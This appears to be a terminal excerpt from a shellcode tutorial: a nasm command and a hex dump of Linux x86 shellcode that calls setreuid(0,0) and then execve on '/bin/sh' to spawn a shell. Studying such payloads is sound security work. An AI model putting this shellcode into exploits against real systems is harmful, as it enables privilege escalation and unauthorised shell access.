$ nasm shellcode.asm
    $ hexedit shellcode
    00000000   66 B8 46 00  00 00 66 BB  00 00 00 00  66 B9 00 00  f.F...f.....f...
    00000010   00 00 CD 80  EB 28 66 5B  66 B8 00 00  00 00 67 88  .....(f[f.....g.
    00000020   43 07 66 67  89 5B 08 66  67 89 43 0C  66 B8 0B 00  C.fg.[.fg.C.f...
    00000030   00 00 66 67  8D 4B 08 66  67 8D 53 0C  CD 80 E8 D5  ..fg.K.fg.S.....
    00000040   FF 2F 62 69  6E 2F 73 68  30 61 61 61  61 62 62 62  ./bin/sh0aaaabbb
    00000050   62                                                                                b